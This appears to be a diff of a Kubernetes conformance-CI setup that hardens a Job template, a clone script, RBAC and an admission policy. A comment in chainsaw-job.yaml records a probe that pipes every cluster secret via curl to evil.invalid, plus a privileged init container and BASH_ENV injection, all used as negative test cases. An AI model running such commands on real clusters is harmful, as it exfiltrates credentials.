+    /bin/bash -euo pipefail -c '
+      conformance-clone
+      echo "--- assert rev-parse HEAD == the requested SHA ---"
+      got="$(git -C /workspace/src rev-parse HEAD)"
+      echo "requested: ${CONFORMANCE_GIT_SHA}"
+      echo "HEAD:      ${got}"
+      [ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
+      echo "confirmed: the working tree is at the requested commit"
+      test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
+    '
+  log "conformance-clone verified against the real repository"
+fi
+
+# --- digest ------------------------------------------------------------------
+DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
+SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
+
+log "Built ${IMAGE_REF}"
+info "local manifest digest  ${DIGEST}"
+info "image id               ${IMAGE_ID}"
+info "size                   $(( SIZE / 1024 / 1024 )) MiB"
+
+cat <<EOF
+
+================================================================================
+NOT PUSHED. Publishing is an operator action — this script holds no registry
+credential and will never acquire one.
+
+OPERATOR: run these two commands, then paste the digest from the digestfile into
+conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
+
+    ${ENGINE} login gitea.home.keithjackson.dev
+
+    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
+      ${IMAGE_REF}
+
+Then:
+
+    cat /tmp/conformance-runner.digest
+    # -> sha256:....  THIS is the authoritative digest, not the local one above.
+
+    # conformance/versions.env
+    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
+
+WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
+is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
+${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
+and so is any other repository path.
+
+TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
+\`${IMAGE_REPO}@sha256:*\` to be replaced with the
+LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
+That is a separate, human-reviewed PR against the security boundary.
+================================================================================
+EOF

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/incluster/conformance-clone

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#
+# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
+# Everything it writes therefore lives under /workspace. There is no writable /tmp.
+###############################################################################
+set -euo pipefail
+
+# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
+readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
+readonly BAKED_SRC="/workspace/src"
+
+die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+log() { printf '==> %s\n' "$*"; }
+
+[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
+
+# --- the one genuinely trusted input ----------------------------------------
+# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
+# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
+: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
+printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
+  || die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
+       The CI trigger did not substitute it, or substituted junk."
+
+# --- env that may agree with the baked values, but may not override them -----
+REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
+[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
+         got:    ${REPO_URL}
+         baked:  ${BAKED_REPO_URL}
+       Refusing. A caller that can choose the repository can choose the code that runs."
+
+SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
+[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
+         got:    ${SRC}
+         baked:  ${BAKED_SRC}
+       Refusing."
+
+# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
+# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
+# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
+# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
+: "${TMPDIR:=/workspace/tmp}"
+: "${HOME:=/workspace/home}"
+on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
+on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
+on_workspace "${HOME}"   || die "HOME must be /workspace or under it (got '${HOME}')"
+export TMPDIR HOME
+mkdir -p "${TMPDIR}" "${HOME}"
+
+# --- credential (optional) ---------------------------------------------------
+# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
+# answers from the environment. The token therefore never appears in argv and never on disk.
+#
+# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
+# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
+# image), so requiring the Secret would fail runs that would otherwise work — and would make
+# this script untestable without one. It is not a privilege downgrade: the integrity
+# guarantee here is the SHA assertion below, not the credential. Which mode was used is
+# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
+CRED=''
+if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
+  CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+  log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
+else
+  log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
+fi
+
+git_c() {
+  if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
+}
+
+# --- clone, land the exact commit, and PROVE it ------------------------------
+log "shallow clone ${REPO_URL} -> ${SRC}"
+git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
+
+if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+  log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+  git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+fi
+
+git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+# The assertion is the point of the whole script: everything above is best-effort plumbing,
+# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
+head="$(git -C "${SRC}" rev-parse HEAD)"
+[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
+  || die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
+
+test -x "${SRC}/conformance/run.sh" \
+  || die "no executable conformance/run.sh at ${head}."
+
+log "suite ready at ${head}"

conformance/incluster/kustomization.yaml

@@ -0,0 +1,14 @@
+# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
+#
+# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
+# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
+# reconciling it would create a permanent Job object and fight the trigger for ownership.
+#
+# The identities here are inert without
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
+# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
+# half — see the header of rbac.yaml.
+apiVersion: kustomize.config.k8s.io/v1beta1
+kind: Kustomization
+resources:
+  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,3 +174,68 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
+---
+# =============================================================================
+# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
+#
+# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
+# that can `create jobs` in this namespace can create a Job with
+# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
+# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
+# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
+# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
+# access") while appearing to satisfy it.
+#
+# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
+# THIS ServiceAccount only when they match the committed conformance shape. This Role is
+# the necessary half; that policy is the sufficient half. Neither works alone — do not
+# grant this Role without that policy reconciled and ENFORCING.
+#
+# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
+# =============================================================================
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+rules:
+  # Create the run, and watch it to completion.
+  - apiGroups: [batch]
+    resources: [jobs]
+    verbs: [create, get, list, watch]
+  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
+  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
+  # them from the log, so no execution channel into the runner pod is ever granted.
+  - apiGroups: [""]
+    resources: [pods, pods/log]
+    verbs: [get, list, watch]
+  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
+  # failed run), no secrets, no configmaps, no exec, no create on pods.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: conformance-trigger
+subjects:
+  - kind: ServiceAccount
+    name: conformance-trigger
+    namespace: conformance

conformance/lib/record_run.py

@@ -489,6 +489,36 @@ def pinned_chainsaw_version(conf_root: Path) -> str:
     return "unknown"
